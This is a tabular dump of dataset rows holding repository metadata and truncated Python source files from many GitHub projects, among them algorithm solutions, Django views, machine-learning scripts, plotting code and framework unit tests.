blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1ac68e78d93c953c0944986d901463430077c9d2 | bcc4390952e8ddf257c1daa417bc06f1565e2346 | /source/ch01/sum2.py | 5109147e9a5e38a453c3b7a46c62401b2f56e02e | [
"MIT",
"GPL-3.0-only",
"GPL-1.0-or-later",
"LGPL-2.0-or-later"
] | permissive | AngelLiang/programming-in-python3-2nd-edition | 0ef80d4ba2cd096de1bb589dddf294c9d27c320c | 8f9a6ab6768a10e94daef641009288de6845245f | refs/heads/master | 2022-08-05T19:52:40.072130 | 2019-12-31T08:10:01 | 2019-12-31T08:10:01 | 230,700,866 | 1 | 0 | MIT | 2022-07-29T23:04:40 | 2019-12-29T04:09:05 | Python | UTF-8 | Python | false | false | 1,028 | py | #!/usr/bin/env python3
# Copyright (c) 2008-11 Qtrac Ltd. All rights reserved.
# This program or module is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) an... | [
"pl01665077@163.com"
] | pl01665077@163.com |
2efcc17f3e10fb0decca68df806443b7a7f44f08 | bd72c02af0bbd8e3fc0d0b131e3fb9a2aaa93e75 | /Stack/largest_rectangle_in_histogram.py | 95c663a2b334ed2257f15635bc5dd2630ed6f5a4 | [] | no_license | harvi7/Leetcode-Problems-Python | d3a5e8898aceb11abc4cae12e1da50061c1d352c | 73adc00f6853e821592c68f5dddf0a823cce5d87 | refs/heads/master | 2023-05-11T09:03:03.181590 | 2023-04-29T22:03:41 | 2023-04-29T22:03:41 | 222,657,838 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 605 | py | class Solution:
def largestRectangleArea(self, heights: List[int]) -> int:
if not heights or len(heights) == 0:return 0
hist_len = len(heights)
stack = []
maxArea = 0
i = 0
while i <= hist_len:
h = 0 if i == hist_len else heights[i]
if not stac... | [
"iamharshvirani7@gmail.com"
] | iamharshvirani7@gmail.com |
98399b23e71e050447773e5b3aafe81bf176c63a | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03722/s716342934.py | e7c9f2de48ff64e451b266c19f1a41933248d364 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 793 | py | import sys
input=sys.stdin.readline
n,m=map(int,input().split())
graph=[]
for _ in range(m):
a,b,c=map(int,input().split())
graph.append([a-1,b-1,-c])
def BellmanFord(n,m,graph):
costs=[float("inf")]*n
costs[0]=0
for _ in range(n-1):
for i in range(m):
if costs[graph[i][1]]>cost... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
2428731975a9ea83206a64765f3ef4a9c41eb485 | 4472e40c53ca3e1df4f9e477a6268133309b7597 | /_unittests/ut_notebooks/test_LONG_2A_notebook_3B_correction.py | bdd5996c9425a33da74130e2fd6738e43642c400 | [
"MIT"
] | permissive | amoussoubaruch/ensae_teaching_cs | 289729742608da064f07a79b10cf6cce48de1b51 | 313a6ccb8756dbaa4c52724839b69af8a5f4476e | refs/heads/master | 2021-01-16T19:31:49.734583 | 2016-09-09T08:29:58 | 2016-09-09T08:29:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,859 | py | """
@brief test log(time=620s)
notebook test
"""
import sys
import os
import unittest
try:
import src
except ImportError:
path = os.path.normpath(
os.path.abspath(
os.path.join(
os.path.split(__file__)[0],
"..",
"..")))
if path not... | [
"xavier.dupre@ensae.fr"
] | xavier.dupre@ensae.fr |
b248edbd3bfea1ed54561ee19f126b3ef7302301 | b08d42933ac06045905d7c005ca9c114ed3aecc0 | /src/coefSubset/evaluate/ranks/twentyPercent/rank_1e96_D.py | 9dc7a74058ecda9aad5e9d179b6bcbbf0bea7a90 | [] | no_license | TanemuraKiyoto/PPI-native-detection-via-LR | d148d53f5eb60a4dda5318b371a3048e3f662725 | 897e7188b0da94e87126a4acc0c9a6ff44a64574 | refs/heads/master | 2022-12-05T11:59:01.014309 | 2020-08-10T00:41:17 | 2020-08-10T00:41:17 | 225,272,083 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,392 | py | # 9 July 2019
# Kiyoto Aramis Tanemura
# Several metrics are used to assess the performance of the trained RF model, notably native ranking. This script returns a ranking of the native protein-protein complex among a decoy set. For convenience, I will define as a function and will call in a general performance assess... | [
"tanemur1@msu.edu"
] | tanemur1@msu.edu |
661f8b888e79a6f44694634cfd74115ed4dae3e8 | 3821860187e15a4235d541e7db510732c18212b0 | /tasks/views.py | fab3922931a2e2c9190ef6eba0db6b38369398da | [] | no_license | memadd/todo | 15fb5901a87b162bb793c0b9f4c73674e38bab8f | 3ed0acc15596964c50eca863b01fdddff7f5586d | refs/heads/master | 2021-04-02T18:33:27.582092 | 2020-03-31T22:18:29 | 2020-03-31T22:18:29 | 248,308,247 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,086 | py | from django.shortcuts import render, redirect
from django.http import HttpResponse
from .models import *
from .forms import *
# Create your views here.
def index(request):
tasks = Task.objects.all()
form = TaskForm()
if request.method == 'POST':
form = TaskForm(request.POST)
if form.is_va... | [
"memad632@gmail.com"
] | memad632@gmail.com |
f9169b2aac3ad5c32eb0cb07c38f5fe71fefbb5f | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_205/ch84_2020_04_07_23_54_12_724713.py | 4c822726ed79558cc3825e318a52fc3229b76091 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 174 | py | def inverte_dicionario (dic):
inverte = {}
for chave in dic.keys():
for valores in dic.values():
inverte[valores]=dic[valores]
return inverte | [
"you@example.com"
] | you@example.com |
76459a2392101ae49b4a1efd11c83b37c7c40025 | ef3ac1664accfe2f4f28800cb3dde383d04e2636 | /max possible score.py | 65c014f4f77dfe2708045c18bbc0c6484be1475d | [] | no_license | Shamabanu/python | 2466b253ead7249147844e22ede9017a2ffb299a | 76350525586b285773edb58912c1ba8eee35d1a6 | refs/heads/master | 2020-03-27T15:45:09.838053 | 2019-08-14T15:06:18 | 2019-08-14T15:06:18 | 146,736,750 | 3 | 6 | null | null | null | null | UTF-8 | Python | false | false | 311 | py | def fac(c1,c2):
k=1
for m in range(c2+1,c1+1):
k*=m
return k
t=int(input())
ab=[]
for m in range(t):
ab.append(list(map(int,input().split())))
for j in ab:
n=fac(j[0],j[1])
c=0
while n>1:
x=2
while x<n+1:
if n%x==0:
n=n/x
c+=1
break
x+=1
print(c)
| [
"noreply@github.com"
] | Shamabanu.noreply@github.com |
540ddc515614afa96a6c6e81efdcad3a4d539484 | 4feaf520374804d6f3feebe3700fb448692a44ba | /pullenti/ner/org/internal/OrgItemNumberToken.py | 9a6de49d739833dc981c94e92e6055a792890f6b | [] | no_license | MihaJjDa/APCLtask | f7be3fb6b0f31801196bf779f6a7e62ce245493b | 4745b45e199887d433ab256bb2e2ebf5dbe3f7cd | refs/heads/master | 2020-04-16T17:15:10.846647 | 2020-02-24T16:06:43 | 2020-02-24T16:06:43 | 165,769,146 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,200 | py | # Copyright (c) 2013, Pullenti. All rights reserved. Non-Commercial Freeware.
# This class is generated using the converter UniSharping (www.unisharping.ru) from Pullenti C#.NET project (www.pullenti.ru).
# See www.pullenti.ru/downloadpage.aspx.
from pullenti.unisharp.Utils import Utils
from pullenti.ner.Token... | [
"danila.puchkin@mail.ru"
] | danila.puchkin@mail.ru |
9fe80f0e87dfc1126fed1e23de9636b732dc37f6 | 2090b6b92d5cada89504de548b14f9c729856606 | /visualize/gmt/helpers/generate_gmt_station_list.py | a08d5762939b547fbd2afd76dd6ba239210ef41b | [] | no_license | ziyixiArchive/Japan_Slab_code | 4f6a366889278ad499971cf1132591b9029c0f8c | 4cb19939e45739faee7a8b6ec3d3a5da4549a108 | refs/heads/master | 2022-03-14T18:11:47.768695 | 2019-12-17T21:48:32 | 2019-12-17T21:48:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,098 | py | import numpy as np
import click
CEA_NETWORKS = ["AH", "BJ", "BU", "CQ", "FJ", "GD", "GS", "GX", "GZ", "HA", "HB", "HE", "HI", "HL", "HN",
"JL", "JS", "JX", "LN", "NM", "NX", "QH", "SC", "SD", "SH", "SN", "SX", "TJ", "XJ", "XZ", "YN", "ZJ"]
@click.command()
@click.option('--stations_file', required=Tr... | [
"xiziyi@msu.edu"
] | xiziyi@msu.edu |
a212d11a29b6161c29d2539135a62e3803d7c7ca | 3f09e77f169780968eb4bd5dc24b6927ed87dfa2 | /src/Problems/Binary_Tree_Maximum_Path_Sum.py | cf6ee11ab89c3fc0ae2de014dbe7b1d837f3788f | [] | no_license | zouyuanrenren/Leetcode | ad921836256c31e31cf079cf8e671a8f865c0660 | 188b104b81e6c73792f7c803c0fa025f9413a484 | refs/heads/master | 2020-12-24T16:59:12.464615 | 2015-01-19T21:59:15 | 2015-01-19T21:59:15 | 26,719,111 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,726 | py | '''
Created on 21 Nov 2014
@author: zouyuanrenren
'''
'''
Given a binary tree, find the maximum path sum.
The path may start and end at any node in the tree.
For example:
Given the below binary tree,
1
/ \
2 3
Return 6.
'''
'''
The idea is simple:
1. for each node, there are 4 paths that includ... | [
"y.ren@abdn.ac.uk"
] | y.ren@abdn.ac.uk |
55865bd610510d6adfb96a2195797860ebd21aa2 | a46fc5187245f7ac79758ae475d4d865e24f482b | /211_add_and_search_word/add_word.py | 10752d7d4f827bc56950070c27b991981c6095a3 | [] | no_license | narnat/leetcode | ae31f9321ac9a087244dddd64706780ea57ded91 | 20a48021be5e5348d681e910c843e734df98b596 | refs/heads/master | 2022-12-08T00:58:12.547227 | 2020-08-26T21:04:53 | 2020-08-26T21:04:53 | 257,167,879 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,417 | py | #!/usr/bin/env python
class Node:
def __init__(self):
"""
Prefix tree node
@children: child nodes
"""
self.children = 26 * [None]
self.is_end = False
class WordDictionary:
def __init__(self):
"""
Initialize your data structure here.
""... | [
"farruh1996@gmail.com"
] | farruh1996@gmail.com |
87d22d165b6db77ed6dce9c200bbaaa6eb4f752f | 6b85910d57ad533b887a462082084dcef8e42bd8 | /cifar10_brn_mode_2.py | 004cf3feedfaebbd57caf7ffea8a3b1a5f0d4db3 | [] | no_license | ml-lab/BatchRenormalization | 49137cb7457f27807524500bee422c085a2fb4e8 | fdd1cd2c0da0f6105ad29852969630abeb4890c7 | refs/heads/master | 2020-05-29T21:03:29.698663 | 2017-02-20T22:31:21 | 2017-02-20T22:31:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,437 | py | import numpy as np
import json
import keras.callbacks as callbacks
from keras.datasets import cifar10
import keras.utils.np_utils as kutils
from keras import backend as K
from wrn_renorm import WideResidualNetwork
batch_size = 128
nb_epoch = 100
img_rows, img_cols = 32, 32
(trainX, trainY), (testX, testY) = cifar10... | [
"titu1994@gmail.com"
] | titu1994@gmail.com |
ba8acff9e53924815b665296b189e9c5a48a1694 | cb99ba5b850e5667166c9a7b318ab09f28a50da3 | /wxchat/decorators.py | f43b23f05028c480d7b5ff78d40110cb97151d10 | [] | no_license | malx927/kele | 3831714eb6335e6fb2b05d463e4c7875aa87de2b | 542b412e9e9859b03d47d289a9069b9262289897 | refs/heads/master | 2022-12-02T13:29:57.174259 | 2021-07-11T13:26:00 | 2021-07-11T13:26:00 | 130,623,335 | 0 | 1 | null | 2022-11-22T02:28:55 | 2018-04-23T01:21:14 | HTML | UTF-8 | Python | false | false | 2,631 | py | #-*-coding:utf-8-*-
import json
from django.http import HttpResponseRedirect, HttpResponse
from django.shortcuts import get_object_or_404
from wxchat.models import WxUserinfo
__author__ = 'malxin'
from django.conf import settings
from wechatpy.oauth import WeChatOAuth
def weixin_decorator(func):
def wrapper(reque... | [
"5971158@qq.com"
] | 5971158@qq.com |
0b18106e68e7b8b158f4ee65cfb171cec8fa86ad | 886a374cc162a64f8a1f68548e7229b0354d232a | /pandajedi/jedisetup/GenTaskSetupper.py | e84219873e9314f9bf8257e191b09ff834f8b641 | [
"Apache-2.0"
] | permissive | pavlo-svirin/panda-jedi | f6cf9a4ddbb4d1525ad08de5167cf97a5f82f6a5 | 635dfbd38d85ebc8f837b06cbea1203daf291a71 | refs/heads/master | 2020-03-23T10:54:34.911666 | 2017-02-15T22:52:42 | 2017-02-15T22:52:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 602 | py | from pandajedi.jedicore.MsgWrapper import MsgWrapper
from pandajedi.jedicore import Interaction
from TaskSetupperBase import TaskSetupperBase
# logger
from pandacommon.pandalogger.PandaLogger import PandaLogger
logger = PandaLogger().getLogger(__name__.split('.')[-1])
# task setup for general purpose
class GenTaskS... | [
"tmaeno@bnl.gov"
] | tmaeno@bnl.gov |
0ee9c877642b14ad79d684f02024646632c5e64e | 62edb9b550ef41899e8d80edbd72fc66898c37b8 | /swagger_client/models/linked_artifact.py | 17552248e7be92499bab954997a82fed56eb415f | [
"Apache-2.0"
] | permissive | isabella232/qtest-swagger-client | 6a5575655b8af16f25fdde1eef056fec1c128081 | 28220aa95d878922ca4b35c325706932adabea4e | refs/heads/master | 2023-07-11T00:50:27.980979 | 2018-06-20T15:48:02 | 2018-06-20T15:48:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,941 | py | # coding: utf-8
"""
qTest Manager API Version 8.6 - 9.1
qTest Manager API Version 8.6 - 9.1
OpenAPI spec version: 8.6 - 9.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class LinkedArtifa... | [
"ryan.gard@rackspace.com"
] | ryan.gard@rackspace.com |
481ad6fb62ef15a1ee98f3b5f4350de4a9dcbd52 | 978c9a1dd27a30b32eceed7f1518a26292695891 | /python/2021/other/weather_api.py | f0b71270fdf2f0517f792a8c2216904cb24f3455 | [] | no_license | detcitty/100DaysOfCode | 4da3407bdc4170f9d042f49e6c94a8469f8808f5 | a3d989ea56491f89ece5191d5246166ca01d2602 | refs/heads/master | 2023-08-09T04:45:51.842305 | 2023-07-21T17:02:08 | 2023-07-21T17:02:08 | 178,976,277 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 472 | py | import os
import requests
import json
KEY = os.getenv('AQS_API_KEY')
EMAIL = os.getenv('MY_EMAIL')
print(KEY)
url = ' https://aqs.epa.gov/data/api/moniters/bySite'
params = {
'email': EMAIL,
'key': KEY,
'param': 'ALL',
'bdate': 20210101,
'edate': 20210214,
'state': 49,
'county': 35,
'... | [
"devin.etcitty@gmail.com"
] | devin.etcitty@gmail.com |
ed90d21b756c2faab22171990cb6be9c38c4d785 | f07a42f652f46106dee4749277d41c302e2b7406 | /Data Set/bug-fixing-5/0e16a5f3ee9b8c7e931b860f7790ea9a6197651b-<install>-bug.py | cf7b852b3186bff51a0088e47a08ccab0dae2941 | [] | no_license | wsgan001/PyFPattern | e0fe06341cc5d51b3ad0fe29b84098d140ed54d1 | cc347e32745f99c0cd95e79a18ddacc4574d7faa | refs/heads/main | 2023-08-25T23:48:26.112133 | 2021-10-23T14:11:22 | 2021-10-23T14:11:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,338 | py | def install(self):
if self.scm:
tmp_file = RoleRequirement.scm_archive_role(**self.spec)
elif self.src:
if os.path.isfile(self.src):
tmp_file = self.src
elif ('://' in self.src):
role_data = self.src
tmp_file = self.fetch(role_data)
else:
... | [
"dg1732004@smail.nju.edu.cn"
] | dg1732004@smail.nju.edu.cn |
d3878e2d9c6758ee16ae2176a95d594c2e3238eb | 0ee88932af5b6ed088e471abcbd5f40fd9cbd688 | /Course/Book/Programmer_avec_Python3/8-Tkinter/attractionclic.py | 0e6e7adc9081b4ab66e95a67b4f2a1cbe9c66bd3 | [] | no_license | BjaouiAya/Cours-Python | 48c740966f9814e1045035ffb902d14783d36194 | 14b306447e227ddc5cb04b8819f388ca9f91a1d6 | refs/heads/master | 2021-06-10T22:17:38.731030 | 2016-11-11T16:45:05 | 2016-11-11T16:45:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,009 | py | #! /usr/bin/env python
# -*- coding:Utf8 -*-
"PROGRAMME AUTOUR DE L'ATTRACTION TERRESTRE AVEC CLIC"
################################################################
############# Importation fonction et modules : ################
################################################################
from tkinter impor... | [
"jeremybois@rocketmail.com"
] | jeremybois@rocketmail.com |
fbb9cca9d323db892b0cf407f976508f8e25e925 | 7c73ae5308f16030de337e2ad6dc30ac3f4a6d05 | /动态规划/背包问题.py | f1bccd5dbdd11c3581e2c1b56352eae39701c2aa | [] | no_license | pol9111/algorithms | c2508470e4e8c46f4368411a9614adbb210cfa33 | 4bd5d8cb3db9d15c23ebf217181a5f54c00c1687 | refs/heads/master | 2023-06-07T20:47:33.200001 | 2023-05-27T16:50:24 | 2023-05-27T16:50:24 | 150,764,726 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,799 | py |
# 这里使用了图解中的吉他,音箱,电脑,手机做的测试,数据保持一致
w = [0, 1, 4, 3, 1] #n个物体的重量(w[0]无用)
p = [0, 1500, 3000, 2000, 2000] #n个物体的价值(p[0]无用)
n = len(w) - 1 #计算n的个数
m = 4 #背包的载重量
x = [] #装入背包的物体,元素为True时,对应物体被装入(x[0]无用)
v = 0
#optp[i][j]表示在前i个物体中,能够装入载重量为j的背包中的物体的最大价值
optp = [[0 for col in range(m + 1)] for raw in range(n + 1)]
... | [
"biscuit36@163.com"
] | biscuit36@163.com |
b71cfdda577fac6fe368c3a6dae442d8a5020cd7 | d77f44f98f695a3bdb00f021ad2e685483b032c5 | /examples/plot_events.py | f47d98975f040e2e7d60c3d51cd76512b703b869 | [
"MIT"
] | permissive | thomasgas/pyeventio | d8d5df32f8f644b7f8877ba370d3c5179bef58a8 | 0edfb05b56ed3a3e8a37c0292cede90598464b8f | refs/heads/master | 2020-04-21T21:59:11.105773 | 2019-04-29T16:04:51 | 2019-04-29T16:04:51 | 169,896,133 | 0 | 0 | MIT | 2019-02-09T18:01:11 | 2019-02-09T18:01:10 | null | UTF-8 | Python | false | false | 2,319 | py | import matplotlib.pyplot as plt
import numpy as np
from argparse import ArgumentParser
from functools import lru_cache
import astropy.units as u
from ctapipe.instrument import CameraGeometry
from ctapipe.visualization import CameraDisplay
from eventio.simtel import SimTelFile
parser = ArgumentParser()
parser.add_a... | [
"maximilian.noethe@tu-dortmund.de"
] | maximilian.noethe@tu-dortmund.de |
6aecda70e197f8b3c3b83e2030bc806ffecc4a41 | 6b96a11195094a0023a059ba7d5df95ce58c56f1 | /1359A.py | 643057f4f600e4de77f8dcee5062457fd853ebad | [] | no_license | ldfdev/CodeForces-Div2-Problems | d932b09ee14a430fd0054d5b295f6016553be2b7 | d18824a4330a4593099d249496ae22f3f69d5f44 | refs/heads/master | 2021-08-11T03:29:18.772870 | 2021-07-25T07:21:09 | 2021-07-29T20:09:43 | 72,371,376 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 546 | py | def inp():
return list(map(int, input().split()))
def solve():
[cards, jokers, players] = inp()
if jokers == 0:
return 0
if cards == jokers:
return 0
lucky_player = cards // players
if jokers <= lucky_player:
return jokers
jokers -= lucky_player
if jokers % (play... | [
"ldf.develop@gmail.com"
] | ldf.develop@gmail.com |
7ad767b1b94d4c9a1df15c7bfc4abe595a0b2a13 | 325bee18d3a8b5de183118d02c480e562f6acba8 | /taiwan/italy/start.py | a394a4bb37e379ca7be1a371406ca0376d18a494 | [] | no_license | waynecanfly/spiderItem | fc07af6921493fcfc21437c464c6433d247abad3 | 1960efaad0d995e83e8cf85e58e1db029e49fa56 | refs/heads/master | 2022-11-14T16:35:42.855901 | 2019-10-25T03:43:57 | 2019-10-25T03:43:57 | 193,424,274 | 4 | 0 | null | 2022-11-04T19:16:15 | 2019-06-24T03:00:51 | Python | UTF-8 | Python | false | false | 1,038 | py | import os
"""
taiwanlistzh下载台湾中文列表,已做更新功能
taiwanlisten下载台湾英文列表,已做更新功能
info_enAll首次存量下载台湾英文基本信息
info_en为下载台湾增量基本信息而生
以下若要更新需覆盖
taiwanFileAllv3下载英文财报,原网站最新只到2018年3月份
info_zhAll下载中文基本信息:"重要子公司基本資料","重要子公司異動說明", "被投資控股公司基本資料" (文件)
info_zh下载中文基本信息:"公司基本資料" (格式化)
info_zh2下载中文基本信息:"歷年變更登記"(文件) 需要界面化才能获取数据,需要windows系统
"""
... | [
"1370153124@qq.com"
] | 1370153124@qq.com |
5b240e6a01eaaca3b6de4c49d75c041e4867cf3e | 6d1df0707865398d15f508390ca595215210b504 | /xmonad/poll_weather.py | 0d9a3c2243aa6bfa26632e7e321d24e34684e44b | [] | no_license | supermiiiiii/scripts | 94a27741432c40781b3d577334e72f73f1efb914 | 524de087175d2e8b7e3adeacdd648fed9e07e204 | refs/heads/master | 2023-02-24T19:15:38.888248 | 2021-01-30T14:49:49 | 2021-01-30T14:49:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,351 | py | """Writes a weather report to some bar using a FIFO."""
import datetime as dt
import re
import subprocess as sp # noqa: F401
import sys
import time
from typing import NamedTuple, Optional, Sequence
import gutils
from gutils.io import eprint
from loguru import logger as log
@gutils.catch
def main(argv: Sequence[str... | [
"bryanbugyi34@gmail.com"
] | bryanbugyi34@gmail.com |
3e063e740006b9aab8f0c31edc73a70926e13dd6 | 5864e86954a221d52d4fa83a607c71bacf201c5a | /eve/client/script/ui/station/fitting/minihangar.py | 1990c0fe486beccfd0fdcb8e5e6616770fb04410 | [] | no_license | connoryang/1v1dec | e9a2303a01e5a26bf14159112b112be81a6560fd | 404f2cebf13b311e754d45206008918881496370 | refs/heads/master | 2021-05-04T02:34:59.627529 | 2016-10-19T08:56:26 | 2016-10-19T08:56:26 | 71,334,417 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,161 | py | #Embedded file name: e:\jenkins\workspace\client_SERENITY\branches\release\SERENITY\eve\client\script\ui\station\fitting\minihangar.py
from carbonui.primitives.container import Container
from carbonui.primitives.fill import Fill
from eve.client.script.ui.shared.fitting.fittingStatsChanges import FittingStatsChanges
fro... | [
"le02005@163.com"
] | le02005@163.com |
7f330b9f70088b20251a7e199f7b97aeee3e03db | 81e302a2fe2035d13710d6aa9b13fb763dcf8fa4 | /chapter4/create_table_02.py | b661782e443bcadfeb96ee328a3d727d0a3d1fd2 | [] | no_license | liuyuzhou/databasesourcecode | 8a76099efc86292b1449c3a84b35ba02398bcbe9 | 1f3ad5f27d194c2aa88fa8cb39c6ae92ee3d1f1f | refs/heads/master | 2021-07-18T06:18:28.538719 | 2021-07-03T01:56:58 | 2021-07-03T01:56:58 | 250,950,207 | 6 | 3 | null | null | null | null | UTF-8 | Python | false | false | 893 | py | from sqlalchemy import Column, Integer, String
from sqlalchemy.ext.declarative import declarative_base
# 声明映射
Base = declarative_base()
# 定义Course对象,课程表对象
class Course(Base):
# 表的名字
__tablename__ = 'course'
id = Column(Integer, primary_key=True)
course_name = Column(String(20), default=No... | [
"jxgzyuzhouliu@163.com"
] | jxgzyuzhouliu@163.com |
829ec35d9450bf7dddf39940d17e80553d22d4b8 | fd529ba6ade52cd2a3dab94da01252d7ea90398d | /zerojudge/b130.py | aed6f2b48f8d15ee266fb51fd69118bdc7533a8d | [] | no_license | fjfhfjfjgishbrk/AE401-Python | 4a984deb0281542c205d72695285b35c7413338f | ee80fa4588b127cff2402fd81e732ede28a66411 | refs/heads/master | 2022-06-13T13:49:39.875567 | 2022-05-28T12:40:51 | 2022-05-28T12:40:51 | 251,178,163 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 332 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Jul 27 11:16 2020
@author: fdbfvuie
"""
while 1:
try:
input()
a = [int(i) for i in input().split()]
a = list(dict.fromkeys(a))
a.sort()
print(len(a))
print(" ".join([str(i) for i in a]))
except:
... | [
"59891511+fjfhfjfjgishbrk@users.noreply.github.com"
] | 59891511+fjfhfjfjgishbrk@users.noreply.github.com |
b8abb10ab99545daf4c9bf1ff199c941fd73e82e | 6cd3de9d6aa0c52602010aa857966d5dc4d57442 | /_unittests/ut_testing/data/plot_anomaly_comparison.py | 81f4f31d3c39d1702e592d94d0ac07921367ed62 | [
"MIT"
] | permissive | xadupre/mlprodict | 2307ca96eafeeafff08d5322184399bb5dc1c37e | f82c8a26a60104948c67849b1c4af95ca812c153 | refs/heads/master | 2022-12-10T18:50:36.953032 | 2020-09-03T08:53:58 | 2020-09-03T08:53:58 | 292,824,744 | 1 | 0 | NOASSERTION | 2020-09-04T10:56:45 | 2020-09-04T10:56:44 | null | UTF-8 | Python | false | false | 3,372 | py | import time
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
from sklearn import svm
from sklearn.datasets import make_moons, make_blobs
from sklearn.covariance import EllipticEnvelope
from sklearn.ensemble import IsolationForest
from sklearn.neighbors import LocalOutlierFactor
matplotlib.rcParam... | [
"xavier.dupre@gmail.com"
] | xavier.dupre@gmail.com |
a756e899283617e6565cb60bca961f619d739868 | e95f65f1e320e56306c4442329b756fdd6ed00fa | /docs/conf.py | 895973e0dc0a1a87a40edc0bfeedfb11f8ec6bf3 | [
"Apache-2.0",
"MIT"
] | permissive | 0xflotus/CUP | 3a808248126a9ef8d3436a1aadf2384fcb869acb | 5e4330cb2e4ccdc67ad94f0084e745eed6f96d6b | refs/heads/master | 2020-03-31T06:08:29.823081 | 2018-09-30T13:32:23 | 2018-09-30T13:32:23 | 151,969,632 | 0 | 0 | NOASSERTION | 2018-10-07T17:56:57 | 2018-10-07T17:56:57 | null | UTF-8 | Python | false | false | 5,882 | py | # -*- coding: utf-8 -*-
#
# Configuration file for the Sphinx documentation builder.
#
# This file does only contain a selection of the most common options. For a
# full list see the documentation:
# http://www.sphinx-doc.org/en/master/config
# -- Path setup ------------------------------------------------------------... | [
"mythmgn@gmail.com"
] | mythmgn@gmail.com |
a1605ab46f979a8f2dccfce926267377f4662068 | 3670f46666214ef5e1ce6765e47b24758f3614a9 | /oneflow/python/test/ops/test_summary.py | abfbb915308413ee0f84e72659ac02d44f959708 | [
"Apache-2.0"
] | permissive | ashing-zhang/oneflow | 0b8bb478ccd6cabea2dca0864defddab231919bf | 70db228a4d361c916f8f8d85e908795b479e5d20 | refs/heads/master | 2022-12-14T21:13:46.752535 | 2020-09-07T03:08:52 | 2020-09-07T03:08:52 | 293,535,931 | 1 | 0 | Apache-2.0 | 2020-09-07T13:28:25 | 2020-09-07T13:28:24 | null | UTF-8 | Python | false | false | 6,006 | py | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | [
"noreply@github.com"
] | ashing-zhang.noreply@github.com |
946f16bbbb68b0e88e2045b3bbb65935e136bcb4 | 169e75df163bb311198562d286d37aad14677101 | /tensorflow/tensorflow/contrib/distributions/python/kernel_tests/bijectors/invert_test.py | 8b14c8327f08902044f50483f9f8dfe67b58cd70 | [
"Apache-2.0"
] | permissive | zylo117/tensorflow-gpu-macosx | e553d17b769c67dfda0440df8ac1314405e4a10a | 181bc2b37aa8a3eeb11a942d8f330b04abc804b3 | refs/heads/master | 2022-10-19T21:35:18.148271 | 2020-10-15T02:33:20 | 2020-10-15T02:33:20 | 134,240,831 | 116 | 26 | Apache-2.0 | 2022-10-04T23:36:22 | 2018-05-21T08:29:12 | C++ | UTF-8 | Python | false | false | 3,534 | py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"thomas.warfel@pnnl.gov"
